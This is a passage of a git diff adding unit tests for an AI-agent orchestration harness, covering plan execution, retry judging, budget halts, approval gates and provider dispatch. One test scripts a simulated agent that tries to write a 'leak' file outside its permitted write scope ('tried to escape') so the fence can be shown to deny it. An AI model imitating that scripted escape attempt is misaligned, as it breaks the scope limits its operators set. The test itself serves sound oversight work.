verdictType green is refused close-unsupported by the plan flow — never a TypeError on close.cmd (review #1)', async (t) => { + const wd = makePatient(t); + const job = JOB(wd, { close: { type: 'gold', expected: 'x', compare: 'exact' }, checks: undefined }); + const jv = validateJob(job); + assert.deepEqual(jv.reds, [], 'green + gold-close validates (gold is hard-class) — the hazard is real, not hypothetical'); + const provider = scriptedProvider([{ text: 'never reached' }]); + const { events, emit } = collector(); + const outcome = await runPlan(jv.job, { workdir: wd, provider, emit, capRuns: 3, remainingUsd: () => 1.5 }); + assert.equal(outcome, 'close-unsupported', 'a non-predicate close is a clean refusal, not a crash'); + assert.equal(provider.calls.length, 0, 'refused before any tokens'); + assert.equal(events.filter((e) => e.type === 'escalation').at(-1)?.category, 'close-unsupported'); +}); + +test('an unpriced round halts the plan flow IN-FLIGHT (pricing-red) instead of burning the whole plan — F6 at the plan boundary (review #3)', async (t) => { + const wd = makePatient(t); + const provider = scriptedProvider([{ text: 'scout notes' }, { text: PLAN(wd) }]); + const { events, emit } = collector(); + const jv = validateJob(JOB(wd)); + const outcome = await runPlan(jv.job, { + workdir: wd, provider, emit, capRuns: 3, remainingUsd: () => 1.5, + isUnpriced: () => provider.calls.length >= 1, // flips true once the scout round returns unpriced + }); + assert.equal(outcome, 'pricing-red'); + assert.equal(provider.calls.length, 1, 'bailed right after the scout — the plan was never drafted, no steps ran'); +}); + +test('a step that money-halts (wallet drained) returns cap-halt and does NOT replan — a drained wallet is a stop, not an adaptation (review #5, F45 class)', async (t) => { + const wd = makePatient(t); + const provider = scriptedProvider([ + { text: 'scout' }, + { text: PLAN(wd) }, + { toolCalls: [tcall('t1', 'shell_write', { path: join(wd, 'tests', 'test_x.mjs'), content: 'nope\n' })] }, + { text: 'attempt' }, + ]); + const { events, emit } = collector(); + const jv = validateJob(JOB(wd)); + let calls = 0; + // ample for scout(1) + plan-drafter(2) construction; drained by the step worker(3) and the replan check(4) + const remainingUsd = () => (++calls <= 2 ? 1.5 : 0.0001); + const outcome = await runPlan(jv.job, { workdir: wd, provider, emit, capRuns: 3, remainingUsd }); + assert.equal(outcome, 'cap-halt', 'a money-gate halt is its own honest terminal, not a mislabeled step-red'); + assert.ok(!events.find((e) => e.type === 'replan'), 'no replan burns tokens against a drained wallet'); +}); + +test('the replan drafter is bounded by the CURRENT wallet, not a stale pre-execute allocation — advertised budget == enforced budget (review #4)', async (t) => { + const wd = makePatient(t); + const step = JSON.stringify({ + schema: 'plan-v1', + steps: [{ id: 'w', action: 'Write tests/test_x.mjs.', tools: ['write'], rounds: 1, target: 'tests/test_x.mjs', exit: [{ type: 'artifact-written', path: 'tests/test_x.mjs' }] }], + }); + const provider = scriptedProvider([ + { text: 'scout', costUsd: 0.001 }, // 0 scout + { text: step, costUsd: 0.001 }, // 1 initial plan draft + { text: 'attempt 1 — no write', costUsd: 0.6 }, // 2 step attempt 1 (writes nothing → artifact-written red) + { text: 'attempt 2 — no write', costUsd: 0.6 }, // 3 step attempt 2 → exhaustion, funds partly drained + { text: step, costUsd: 0.6 }, // 4 replan draft — a fresh drafter can no longer afford this round + ]); + const { events, emit } = collector(); + const jv = validateJob(JOB(wd, { checks: undefined })); + let spent = 0; + const emit2 = (/** @type {string} */ type, /** @type {any} */ data = {}) => { + if (type === 'worker-round' && typeof data.costUsd === 'number') spent += data.costUsd; + return emit(type, data); + }; + const outcome = await runPlan(jv.job, { workdir: wd, provider, emit: emit2, capRuns: 2, remainingUsd: () => 1.5 - spent }); + assert.ok(events.find((e) => e.type === 'replan'), 'exhaustion with funds left DID trigger the one replan'); + assert.equal(outcome, 'cap-halt', 'the replan draft cap-halts against the drained wallet — a stale full-budget drafter would have proceeded'); +}); + +test('a step SETUP fault is recorded on the plan-executed spine with the SAME category the escalation carries — never a self-contradicting record (review #6, F11 misfiling)', async (t) => { + const wd = makePatient(t); + const provider = scriptedProvider([{ text: 'scout' }, { text: PLAN(wd) }, { text: 'x' }]); + const { events, emit } = collector(); + const jv = validateJob(JOB(wd)); + let n = 0; + // throw at the STEP worker's construction (call 3): scout(1) + drafter(2) succeed first, + // and ralph catches middle throws — so this catch is reachable ONLY by a setup fault + const remainingUsd = () => { n += 1; if (n >= 3) throw new Error('boom: cannot size the wallet'); return 1.5; }; + const outcome = await runPlan(jv.job, { workdir: wd, provider, emit, capRuns: 3, remainingUsd }); + const exec = events.find((e) => e.type === 'plan-executed'); + const esc = events.filter((e) => e.type === 'escalation').at(-1); + assert.ok(exec, 'plan-executed is on the spine — the record never dangles'); + assert.equal(exec.steps.at(-1).outcome, esc.category, 'the recorded step outcome MATCHES the escalation category (no contradiction)'); + assert.equal(esc.category, 'interpreter-red', 'an uncategorized setup throw is interpreter-red (infra), not provider-red'); + assert.equal(outcome, 'interpreter-red'); +}); + +// ── module 4d: NATIVE clipipe (BA-16). The plan flow is provider-agnostic — +// only the WORKER differs. Live-POC-proven that the REAL provider+gate governs; +// these drive OUR executor branch deterministically via a scripted native +// factory. The Loop path (anthropic-api) above is untouched (parity by design). + +test('NATIVE clipipe: the SAME plan flow runs green — the CLI executes the gated write, exits green, close green (module 4d)', async (t) => { + const wd = makePatient(t); + const jv = validateJob(JOB(wd, { provider: 'clipipe-subscription' })); + assert.deepEqual(jv.reds, [], 'clipipe-subscription is an admitted provider'); + const nativeProvider = scriptedNativeFactory([ + { turns: [{ text: 'src/mod.mjs exports x; tests/ is empty' }] }, // scout session + { turns: [{ text: PLAN(wd) }] }, // plan-draft session + { turns: [{ tool: 'shell_write', args: { path: join(wd, 'tests', 'test_x.mjs'), content: 'ok — asserts x\n' } }, { text: 'wrote it' }] }, + ]); + const { events, emit } = collector(); + const outcome = await runPlan(jv.job, { workdir: wd, nativeProvider, emit, capRuns: 3, remainingUsd: () => 1.5 }); + assert.equal(outcome, 'green'); + assert.ok(existsSync(join(wd, 'tests', 'test_x.mjs')), 'the native session executed the gated write'); + assert.ok(events.find((e) => e.type === 'plan-executed'), 'the SAME plan-executed spine record (design law #2)'); +}); + +test('NATIVE clipipe: the gate DENIES an out-of-fence write — the same fence that held in the live POC, now in-suite (module 4d)', async (t) => { + const wd = makePatient(t); + const jv = validateJob(JOB(wd, { provider: 'clipipe-subscription' })); + const outPath = join(wd, 'secret', 'leak.txt'); // OUTSIDE writeScope tests/** + const nativeProvider = scriptedNativeFactory([ + { turns: [{ text: 'scout' }] }, + { turns: [{ text: PLAN(wd) }] }, + { turns: [{ tool: 'shell_write', args: { path: outPath, content: 'leak\n' } }, { text: 'tried to escape' }] }, + ]); + const { events, emit } = collector(); + await runPlan(jv.job, { workdir: wd, nativeProvider, emit, capRuns: 1, remainingUsd: () => 1.5 }); + assert.ok(!existsSync(outPath), 'the out-of-fence write was DENIED by the provider policy — the fence is real, not a fence-that-isn\'t-there'); +}); + +test('NATIVE clipipe: money is metered at SESSION close (worker-round); per-turn events are attribution-only — the per-session reconciliation (module 4d)', async (t) => { + const wd = makePatient(t); + const jv = validateJob(JOB(wd, { provider: 'clipipe-subscription' })); + const nativeProvider = scriptedNativeFactory([ + { turns: [{ text: 'scout' }], cost: 0.02 }, + { turns: [{ text: PLAN(wd) }], cost: 0.01 }, + { turns: [{ tool: 'shell_write', args: { path: join(wd, 'tests', 'test_x.mjs'), content: 'ok\n' } }, { text: 'done' }], cost: 0.03 }, + ]); + let spent = 0; + const { events, emit } = collector(); + const meter = (/** @type {string} */ type, /** @type {any} */ data = {}) => { + if (type === 'worker-round' && typeof data.costUsd === 'number') spent += data.costUsd; // mirror run.js's ledger + return emit(type, data); + }; + const outcome = await runPlan(jv.job, { workdir: wd, nativeProvider, emit: meter, capRuns: 3, remainingUsd: () => 1.5 }); + assert.equal(outcome, 'green'); + const rounds = events.filter((e) => e.type === 'worker-round'); + const turnEvents = events.filter((e) => e.type === 'worker-turn'); + assert.ok(turnEvents.length >= 3, 'per-turn attribution rides the spine as worker-turn'); + assert.ok(rounds.every((r) => typeof r.costUsd === 'number'), 'every ACCOUNTED worker-round carries a real session cost — never a null-per-turn (F6 not tripped)'); + assert.ok(Math.abs(spent - 0.06) < 1e-9, `the ledger sums SESSION totals only (0.02+0.01+0.03), got ${spent}`); +}); + +test('NATIVE clipipe: a maxTurns session is a BOUNDED attempt (judged, gap forward), not an escalation — the loop.stop() analog (module 4d)', async (t) => { + const wd = makePatient(t); + const jv = validateJob(JOB(wd, { provider: 'clipipe-subscription' })); + const nativeProvider = scriptedNativeFactory([ + { turns: [{ text: 'scout' }] }, + { turns: [{ text: PLAN(wd) }] }, + // 7 text turns with the step round-bound at 6 → max_turns, and NOTHING written + { turns: Array.from({ length: 7 }, (_, i) => ({ text: `thinking ${i}` })) }, + { turns: [{ tool: 'shell_write', args: { path: join(wd, 'tests', 'test_x.mjs'), content: 'ok\n' } }, { text: 'now wrote it' }] }, + ]); + const { events, emit } = collector(); + const outcome = await runPlan(jv.job, { workdir: wd, nativeProvider, emit, capRuns: 3, remainingUsd: () => 1.5 }); + assert.ok(events.some((e) => e.type === 'attempt-bounded' && e.native === true), 'the maxTurns session emitted attempt-bounded, not an escalation'); + assert.equal(outcome, 'green', 'the bounded attempt fed its gap forward and attempt 2 converted'); +}); + +test('NATIVE clipipe: a clipipe-subscription job with NO native factory wired is interpreter-red — never a silent fall-back to the metered API (module 4d)', async (t) => { + const wd = makePatient(t); + const jv = validateJob(JOB(wd, { provider: 'clipipe-subscription' })); + const { events, emit } = collector(); + const outcome = await runPlan(jv.job, { workdir: wd, emit, capRuns: 3, remainingUsd: () => 1.5 }); // no nativeProvider + assert.equal(outcome, 'interpreter-red', 'a missing factory is a wiring stop, before any tokens or the close'); + assert.equal(events.filter((e) => e.type === 'escalation').at(-1)?.category, 'interpreter-red'); +}); diff --git a/tests/ralph.test.js b/tests/ralph.test.js index 4b8bb09..e4c50f1 100644 --- a/tests/ralph.test.js +++ b/tests/ralph.test.js @@ -475,3 +475,79 @@ test('F28: ralph threads gapKeep into every close it runs — the loop\'s feedba const verdict = events.find((e) => e.type === 'close-verdict'); assert.equal((verdict.gap.match(/^not ok/gm) ?? []).length, 3, 'gapKeep reached runClose through ralph — the failure names are on the spine'); }); + +// ─── Layer 2: the judge seam (PRD v1.12 §4 — "ralph() with the judge +// generalized to a shell-owned seam"). A plan STEP's micro-loop judges by the +// exit evaluator instead of a close command; the seam is injected by the +// SHELL (run.js wires evalExits) and is inexpressible in any config or plan. +// The outer close path is byte-identical when no judge is passed. + +test('judge seam: an injected judge replaces runClose — satisfied greens, needs_revision feeds its gap to the middle', async () => { + const file = join(dir, 'judge-green.jsonl'); + const gapsSeen = []; + let calls = 0; + const judge = async () => (++calls < 2 ? { verdict: 'needs_revision', gap: '0 files changed under tests/** — the tree is byte-identical' } : { verdict: 'satisfied' }); + const outcome = await ralph({ + middle: (i, gap) => { gapsSeen.push(gap); }, + judge, capRuns: 3, emit: makeSpine(file), + }); + assert.equal(outcome, 'green'); + assert.equal(calls, 2); + assert.equal(gapsSeen[0], undefined, 'attempt 1 has no gap'); + assert.match(gapsSeen[1], /0 files changed/, 'the exit gap reaches attempt 2 verbatim (the F46 mechanism)'); + const events = readFileSync(file, 'utf8').trimEnd().split('\n').map((l) => JSON.parse(l)); + assert.deepEqual(events.filter((e) => e.type === 'close-verdict').map((e) => e.verdict), ['needs_revision', 'satisfied']); +}); + +test('judge seam: a forbidden-zone verdict from the judge escalates by its own name and never retries (an instrument fault is a stop)', async () => { + const file = join(dir, 'judge-fault.jsonl'); + let middleRuns = 0; + const outcome = await ralph({ + middle: () => { middleRuns++; }, + judge: async () => ({ verdict: 'failed', detail: 'check "clean-run" cannot run — runCheck is not wired' }), + capRuns: 3, emit: makeSpine(file), + }); + assert.equal(outcome, 'escalated'); + assert.equal(middleRuns, 1, 'never retried past the fault'); + const events = readFileSync(file, 'utf8').trimEnd().split('\n').map((l) => JSON.parse(l)); + const esc = events.find((e) => e.type === 'escalation'); + assert.equal(esc.category, 'broken-close'); + assert.match(esc.detail, /clean-run/); +}); + +test('judge seam: a crashed judge verdict AFTER worker writes routes as worker-crash and loops (F32 carried to plan steps — the F46 broken-test mechanism)', async () => { + const file = join(dir, 'judge-crash.jsonl'); + let calls = 0; + const judge = async () => (++calls < 2 + ? { verdict: 'crashed', detail: 'check judged 0 of a declared floor of 5 — pytest died at collection' } + : { verdict: 'satisfied' }); + const gapsSeen = []; + const outcome = await ralph({ + middle: (i, gap) => { gapsSeen.push(gap); }, + judge, capRuns: 3, emit: makeSpine(file), + workerWrites: () => ['/w/tests/test_orchestrator.py'], + }); + assert.equal(outcome, 'green'); + assert.match(gapsSeen[1], /CRASHED/, 'the crash routes as feedback, not an instrument stop — the worker broke its own test file'); + assert.match(gapsSeen[1], /test_orchestrator\.py/); +}); + +test('judge seam: cap-halt when the judge stays red — same taxonomy as the close path', async () => { + const file = join(dir, 'judge-cap.jsonl'); + const outcome = await ralph({ + middle: noop, + judge: async () => ({ verdict: 'needs_revision', gap: 'check "clean-run" red: 2 failed' }), + capRuns: 2, emit: makeSpine(file), + }); + assert.equal(outcome, 'escalated'); + const events = readFileSync(file, 'utf8').trimEnd().split('\n').map((l) => JSON.parse(l)); + assert.equal(events.find((e) => e.type === 'escalation').category, 'cap-halt'); +}); + +test('judge seam: run-start labels the judge (no close argv exists to print); no close-unaudited noise', async () => { + const file = join(dir, 'judge-label.jsonl'); + await ralph({ middle: noop, judge: async () => ({ verdict: 'satisfied' }), capRuns: 1, emit: makeSpine(file) }); + const events = readFileSync(file, 'utf8').trimEnd().split('\n').map((l) => JSON.parse(l)); + assert.match(events.find((e) => e.type === 'run-start').close, /judge/); + assert.equal(events.find((e) => e.type === 'close-unaudited'), undefined, 'the judged-floor story belongs to closes, not the exit judge'); +}); diff --git a/tests/run.test.js b/tests/run.test.js index c84c944..3c6fb4a 100644 --- a/tests/run.test.js +++ b/tests/run.test.js @@ -793,3 +793,140 @@ test('money on the job-end: a provider-red TRANSPORT THROW marks spend incomplet assert.equal(end.spendComplete, false, 'a transport throw means the total is a floor, never exact — spendComplete:true would launder unknown into known (F6)'); }); + +// ─── Layer 2 (module 4c): the plan-shape dispatch — runJob() stays the ONE +// entry (N2 lock); a four-field spec routes to the plan executor under the +// same approval gate, smoke, and ledger. Every provider round lands on the +// one ledger; the job-end money contract is unchanged. + +import { scriptedProvider } from './helpers.js'; + +const tcall2 = (id, name, args) => ({ id, name, arguments: args }); + +function makePlanWork(name) { + const workdir = join(base, name); + mkdirSync(join(workdir, 'tests'), { recursive: true }); + mkdirSync(join(workdir, 'src'), { recursive: true }); + writeFileSync(join(workdir, 'src', 'mod.mjs'), 'export const x = 1;\n'); + const probe = `import { existsSync, readFileSync } from 'node:fs'; +const p = new URL('./tests/test_x.mjs', import.meta.url).pathname; +if (existsSync(p) && readFileSync(p, 'utf8').includes('ok')) process.exit(0); +console.log('FAILED tests/test_x.mjs missing'); process.exit(1);\n`; + writeFileSync(join(workdir, 'close.mjs'), probe); + writeFileSync(join(workdir, 'check.mjs'), probe); + return workdir; +} + +const planJob = () => ({ + schema: 'job-v1', + job: 'plan-dispatch', + description: 'plan-shape job through the one runJob entry', + provider: 'anthropic-api', + cadence: { unit: 'day', every: 1 }, + budgetUsd: 1.5, + writeScope: ['tests/**'], + goal: 'Write tests/test_x.mjs with an ok assertion.', + verdictType: 'green', + close: { type: 'predicate', cmd: 'node close.mjs', expect: 0 }, + checks: [{ name: 'clean-run', cmd: 'node check.mjs', expect: 0, gapKeep: '^FAILED' }], + tools: ['read', 'write'], + escalation: { mode: 'decision-ready' }, +}); + +test('plan dispatch: a four-field spec runs SCOUT→PLAN→EXECUTE→close through runJob; job-end money contract intact', async () => { + const wd = makePlanWork('plan-green'); + const job = planJob(); + const plan = JSON.stringify({ + schema: 'plan-v1', + steps: [{ + id: 'write-test', action: 'Write the missing test.', tools: ['write'], rounds: 6, + target: 'tests/test_x.mjs', + exit: [{ type: 'tree-changed', scope: 'tests/**' }, { type: 'check-passes', name: 'clean-run' }], + }], + }); + const provider = scriptedProvider([ + { text: 'no tests exist yet' }, + { text: plan }, + { toolCalls: [tcall2('t1', 'shell_write', { path: join(wd, 'tests', 'test_x.mjs'), content: 'ok\n' })] }, + { text: 'wrote it' }, + ]); + const file = join(wd, 'spine.jsonl'); + const outcome = await runJob(job, { + approvals: [{ specHash: jobSpecHash(job), signer: 'hamr', ts: 'now' }], + workdir: wd, provider, emit: makeSpine(file), + }); + assert.equal(outcome, 'green'); + const events = readSpine(file); + assert.equal(events.find((e) => e.type === 'job-start').shape, 'plan'); + const end = events.find((e) => e.type === 'job-end'); + assert.equal(end.outcome, 'green'); + assert.ok(end.spentUsd > 0, 'the plan flow\'s rounds landed on the ONE ledger'); + assert.equal(end.spendComplete, true); + assert.ok(events.some((e) => e.type === 'plan-executed')); +}); + +test('plan dispatch: an unapproved plan spec spends zero tokens (the approval gate is shape-agnostic)', async () => { + const wd = makePlanWork('plan-unapproved'); + const provider = scriptedProvider([{ text: 'never' }]); + const file = join(wd, 'spine.jsonl'); + const outcome = await runJob(planJob(), { approvals: [], workdir: wd, provider, emit: makeSpine(file) }); + assert.equal(outcome, 'unapproved-spec'); + assert.equal(provider.calls.length, 0); +}); + +test('plan dispatch: no opts.target required — the target red is a text-mode-steps rule only', async () => { + const wd = makePlanWork('plan-no-target'); + const job = planJob(); + const provider = scriptedProvider([ + { text: 'scout' }, + { text: JSON.stringify({ schema: 'plan-v1', steps: [{ id: 's', action: 'write it', tools: ['write'], rounds: 4, target: 'tests/test_x.mjs', exit: [{ type: 'tree-changed', scope: 'tests/**' }] }] }) }, + { toolCalls: [tcall2('t1', 'shell_write', { path: join(wd, 'tests', 'test_x.mjs'), content: 'ok\n' })] }, + { text: 'done' }, + ]); + const file = join(wd, 'spine.jsonl'); + const outcome = await runJob(job, { + approvals: [{ specHash: jobSpecHash(job), signer: 'hamr', ts: 'now' }], + workdir: wd, provider, emit: makeSpine(file), + }); + assert.equal(outcome, 'green', 'a plan job with no opts.target must not red — its steps are tool-mode by construction'); +}); + +test('plan dispatch: a step-red plan outcome lands on job-end as outcome step-red with the step named', async () => { + const wd = makePlanWork('plan-stepred'); + const job = planJob(); + const stubbornPlan = JSON.stringify({ schema: 'plan-v1', steps: [{ id: 'never-writes', action: 'do', tools: ['write'], rounds: 4, target: 'tests/test_x.mjs', exit: [{ type: 'tree-changed', scope: 'tests/**' }] }] }); + const provider = scriptedProvider([ + { text: 'scout' }, + { text: stubbornPlan }, + { text: 'thinking only' }, { text: 'thinking only' }, // plan A exhausts (capRuns 2) + { text: stubbornPlan }, // the one replan: same plan + { text: 'thinking only' }, // plan B exhausts too (sticks) + ]); + const file = join(wd, 'spine.jsonl'); + const outcome = await runJob(job, { + approvals: [{ specHash: jobSpecHash(job), signer: 'hamr', ts: 'now' }], + workdir: wd, provider, emit: makeSpine(file), capRuns: 2, + }); + assert.match(outcome, /^step-red:/); + const end = readSpine(file).find((e) => e.type === 'job-end'); + assert.equal(end.outcome, 'step-red'); + assert.equal(end.step, 'never-writes'); + assert.equal(typeof end.spentUsd, 'number'); +}); + +test('plan dispatch: a transport-throw provider-red reports spendComplete:false — an unknown floor is never laundered as exact (review #7, F44)', async () => { + const wd = makePlanWork('plan-provider-red'); + const job = planJob(); + // the close is red at precheck (src/... has no test yet), so the scout RUNS — and the + // provider throws there: a transport failure that never returned a usage figure. + const provider = { calls: [], async generate() { this.calls.push(1); throw new Error('ENETUNREACH transport'); } }; + const file = join(wd, 'spine.jsonl'); + const outcome = await runJob(job, { + approvals: [{ specHash: jobSpecHash(job), signer: 'hamr', ts: 'now' }], + workdir: wd, provider, emit: makeSpine(file), capRuns: 2, + }); + assert.equal(outcome, 'provider-red'); + const end = readSpine(file).find((e) => e.type === 'job-end'); + assert.equal(end.outcome, 'provider-red'); + assert.equal(end.spendComplete, false, 'the priced sum is a FLOOR, not the total — mirror the legacy providerRed()'); +});